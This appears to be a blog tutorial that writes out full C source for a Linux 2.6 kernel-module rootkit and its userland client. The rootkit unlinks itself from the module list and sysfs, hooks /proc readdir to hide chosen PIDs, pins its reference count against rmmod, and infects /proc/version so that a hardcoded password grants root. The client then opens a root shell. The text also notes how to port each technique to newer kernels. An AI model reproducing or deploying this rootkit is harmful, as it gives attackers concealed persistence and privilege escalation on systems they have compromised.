This one builds on the kernel modules post. If you haven’t read that, go read it first because I’m not explaining what module_init does again.
We’re writing an LKM rootkit for Linux. Not a toy that prints to dmesg, an actual rootkit that hides itself from lsmod, hides processes from ps, gives you root on command, and survives basic forensics. The code targets the 2.6 kernel series. Newer kernels (3.10+) changed the procfs internals significantly create_proc_entry is gone, proc_dir_entry is opaque, and readdir was replaced by iterate_shared in file_operations. The techniques are the same but the implementation details differ. I’ll note the important changes as we go.
What the rootkit does:
- Hides itself from
lsmod,/proc/modules, and/sys/module/ - Hides arbitrary processes from
ps,top, and anything that reads/proc - Gives root privileges on command via credential manipulation
- Protects itself from being unloaded with
rmmod - Communicates through an infected existing procfs entry (no new files to find)
How It Works
The rootkit doesn’t create its own procfs entry. That would be visible. Instead it finds an existing entry like /proc/version and replaces its read/write handlers with our own. Commands get passed by writing to (or reading from) that entry. From the outside, /proc/version looks completely normal.
For process hiding, we hook the readdir function of /proc’s file_operations. The readdir callback uses a filldir function to report each directory entry back to userland. We replace filldir with our own version that skips entries matching hidden PIDs. Programs like ps list processes by reading /proc directory entries, so if our filldir never reports a PID, that process doesn’t exist as far as userland is concerned.
For hiding the module itself, we do two things: remove it from the kernel’s main module list (kills lsmod and /proc/modules visibility) and delete its kobject from sysfs (kills /sys/module/ visibility).
Root privilege escalation uses prepare_creds/commit_creds to set uid/gid to 0 on the current process. Simple and effective.
Note: on kernels 3.10+, proc_dir_entry became an opaque type. You can’t walk ->subdir and ->next to find entries anymore. Modern rootkits use kallsyms_lookup_name or kprobes to find the structures they need. The readdir hook also changed - file_operations uses iterate (3.11+) or iterate_shared (4.7+) instead, with a dir_context struct replacing the old filldir_t callback pattern.
Configuration
Everything configurable lives in a header:
static char password[] = "secretpassword";
static char passwaiter[] = "version"; // procfs entry to infect
static char module_release[] = "release"; // command: allow rmmod
static char module_uncover[] = "uncover"; // command: unhide module
static char hide_proc[] = "hide"; // command: hide a process
static char unhide_proc[] = "unhide"; // command: unhide last hidden process
passwaiter is the name of the /proc entry we infect. Writing the password to it gives you root. The other strings are command prefixes.
The Rootkit
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/stat.h>
#include <linux/uaccess.h>
#include <linux/file.h>
#include "rootkit_conf.conf.h"
MODULE_LICENSE("GPL");
static int failed;
static char pid[10][32];
static int pid_index;
static int (*old_proc_readdir)(struct file *, void *, filldir_t);
static filldir_t old_filldir;
static ssize_t (*old_fops_write)(struct file *, const char __user *, size_t, loff_t *);
static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t *);
static write_proc_t *old_write;
static read_proc_t *old_read;
static struct proc_dir_entry *ptr;
static struct proc_dir_entry *root;
static struct list_head *prev;
static struct file_operations *fops;
static struct file_operations *root_fops;
Everything is static so nothing gets exported to /proc/kallsyms. One less place for forensics to find us.
pid[10][32] stores up to 10 hidden PIDs. old_* pointers save the original function pointers so we can restore them on unload. prev remembers our position in the module list for when we need to re-insert ourselves.
Module Hiding
static inline void module_remember_info(void)
{
prev = THIS_MODULE->list.prev;
}
static inline void module_show(void)
{
list_add(&THIS_MODULE->list, prev);
}
Before hiding, we save a pointer to the module that was before us in the list. module_show re-inserts us at the same position. This is needed for clean unloading.
static inline void rootkit_hide(void)
{
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
}
Three operations: remove from the module list (hides from lsmod and /proc/modules), delete the kobject (hides from /sys/module/), and remove the kobject from its parent’s entry list.
static inline void tidy(void)
{
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
This prevents a kernel oops on unload. When the kernel unloads a module, it tries to clean up sysfs entries. But we already deleted ours in rootkit_hide. If these pointers aren’t NULL, the kernel tries to free already-freed memory and panics. Setting them to NULL tells the cleanup code there’s nothing to do.
static inline void rootkit_protect(void)
{
try_module_get(THIS_MODULE);
}
Increments the module’s reference count. Now rmmod rootkit fails because the kernel thinks something is still using the module. rmmod -f still works if the kernel was compiled with CONFIG_MODULE_FORCE_UNLOAD.
Command Handler
static int check_buf(const char __user *buf)
{
struct cred *new = prepare_creds();
if (!strcmp(buf, password)) {
new->uid = new->euid = 0;
new->gid = new->egid = 0;
commit_creds(new);
}
else if (!strcmp(buf, module_release))
module_put(THIS_MODULE);
else if (!strcmp(buf, module_uncover))
module_show();
else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {
if (pid_index > 9)
return 0;
sprintf(pid[pid_index], "%s", buf + 5);
pid_index++;
}
else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {
if (!pid_index)
return 0;
pid_index--;
}
else
return 1;
return 0;
}
All commands flow through check_buf. Write the password and you get root via prepare_creds/commit_creds setting all IDs to 0. hide <pid> stores a PID in the hide list. unhide pops the last one. release decrements the reference count so rmmod works again. uncover re-adds the module to the list.
Note: prepare_creds is called unconditionally here even for non-password commands. That’s a minor leak - on non-root commands the allocated cred struct never gets committed or freed. In production you’d move the prepare_creds call inside the password branch. Also on newer kernels (3.5+), uid/gid are kuid_t/kgid_t types, so you’d need new->uid = KUIDT_INIT(0) instead of raw assignment.
Procfs Infection
static int buf_write(struct file *file, const char __user *buf,
unsigned long count, void *data)
{
if (!check_buf(buf))
return count;
return old_write(file, buf, count, data);
}
static int buf_read(char __user *buf, char **start, off_t off,
int count, int *eof, void *data)
{
if (!check_buf(buf))
return count;
return old_read(buf, start, off, count, eof, data);
}
static ssize_t fops_write(struct file *file, const char __user *buf_user,
size_t count, loff_t *p)
{
if (!check_buf(buf_user))
return count;
return old_fops_write(file, buf_user, count, p);
}
static ssize_t fops_read(struct file *file, char __user *buf_user,
size_t count, loff_t *p)
{
if (!check_buf(buf_user))
return count;
return old_fops_read(file, buf_user, count, p);
}
Four wrappers covering both procfs callback styles (read_proc/write_proc and file_operations read/write). Each one checks if the data is a command. If yes, handle it and return. If not, pass through to the original handler. The infected entry works normally for everyone except us.
Process Hiding
static int new_filldir(void *__buf, const char *name, int namelen,
loff_t offset, u64 ino, unsigned d_type)
{
int i;
for (i = 0; i < pid_index; i++)
if (!strcmp(name, pid[i]))
return 0;
return old_filldir(__buf, name, namelen, offset, ino, d_type);
}
static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)
{
old_filldir = filldir;
return old_proc_readdir(filp, dirent, new_filldir);
}
static inline void change_proc_root_readdir(void)
{
root_fops = (struct file_operations *)root->proc_fops;
old_proc_readdir = root_fops->readdir;
root_fops->readdir = new_proc_readdir;
}
new_proc_readdir replaces /proc’s readdir. It calls the original but swaps in our new_filldir. Our filldir checks each entry name against the hidden PID list. Match? Return 0, entry doesn’t exist. No match? Call the real filldir.
This is the classic LKM rootkit technique for process hiding. ps, top, ls /proc all go through readdir on /proc. Hook it once and every userland tool is blind.
On kernels 3.11+, readdir was replaced by iterate which takes a dir_context containing the actor (filldir equivalent). The hook pattern is the same but the function signatures differ.
Initialization
static inline void proc_init(void)
{
ptr = create_proc_entry("temporary", 0444, NULL);
ptr = ptr->parent;
if (strcmp(ptr->name, "/proc") != 0) {
failed = 1;
return;
}
root = ptr;
remove_proc_entry("temporary", NULL);
change_proc_root_readdir();
ptr = ptr->subdir;
while (ptr) {
if (strcmp(ptr->name, passwaiter) == 0)
goto found;
ptr = ptr->next;
}
failed = 1;
return;
found:
old_write = ptr->write_proc;
old_read = ptr->read_proc;
fops = (struct file_operations *)ptr->proc_fops;
old_fops_read = fops->read;
old_fops_write = fops->write;
if (ptr->write_proc)
ptr->write_proc = buf_write;
else if (ptr->read_proc)
ptr->read_proc = buf_read;
if (fops->write)
fops->write = fops_write;
else if (fops->read)
fops->read = fops_read;
if (!ptr->read_proc && !ptr->write_proc &&
!fops->read && !fops->write) {
failed = 1;
return;
}
}
The trick for getting a pointer to /proc: create a temporary entry, grab its parent (which is /proc), then delete the temp entry. Now we have the proc_dir_entry for /proc itself without hardcoding any addresses.
From there, walk subdir/next to find the target entry (/proc/version by default). Save all original function pointers, then replace whichever ones exist. We only replace what’s already there - if an entry only has a read handler, we don’t add a write handler because that would be suspicious.
This whole approach breaks on kernel 3.10+ where proc_dir_entry is opaque. You can’t access ->subdir, ->next, ->write_proc, or ->read_proc directly. Modern rootkits use different techniques to locate and hook procfs entries.
Entry Point
static int __init rootkit_init(void)
{
module_remember_info();
proc_init();
if (failed)
return 0;
rootkit_hide();
tidy();
rootkit_protect();
return 0;
}
static void __exit rootkit_exit(void)
{
if (failed)
return;
root_fops->readdir = old_proc_readdir;
fops->write = old_fops_write;
fops->read = old_fops_read;
ptr->write_proc = old_write;
ptr->read_proc = old_read;
}
module_init(rootkit_init);
module_exit(rootkit_exit);
Load sequence: save position in module list, infect procfs, hide from lsmod/sysfs, clean up dangling pointers, lock the reference count. If anything fails, bail without hiding so we can still unload cleanly.
Unload restores everything: original readdir on /proc, original handlers on the infected entry. The module has to be made visible (uncover command) and unlocked (release command) before rmmod works.
Userland Client
The client sends commands to the infected procfs entry:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include "rootkit_conf.conf.h"
int main(int argc, char *argv[])
{
if (argc < 2) {
fprintf(stderr, "Usage: %s <command>\n", argv[0]);
return 1;
}
char file[64];
int root = 0;
int fd;
sprintf(file, "/proc/%s", passwaiter);
if (!strcmp(argv[1], password))
root = 1;
fd = open(file, O_WRONLY);
if (fd < 1) {
fd = open(file, O_RDONLY);
if (!fd) {
perror("open");
return 1;
}
read(fd, argv[1], strlen(argv[1]));
}
else
write(fd, argv[1], strlen(argv[1]));
close(fd);
if (root) {
printf("[+] uid=%i\n", getuid());
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}
return 0;
}
Tries to write the command first. If the entry is read-only, it sends the command via the read buffer instead (the rootkit checks the buffer contents either way). If the command was the password, it drops into a root shell via execl.
The Linux Kernel Module Programming Guide · Linux Rootkits - xcellerator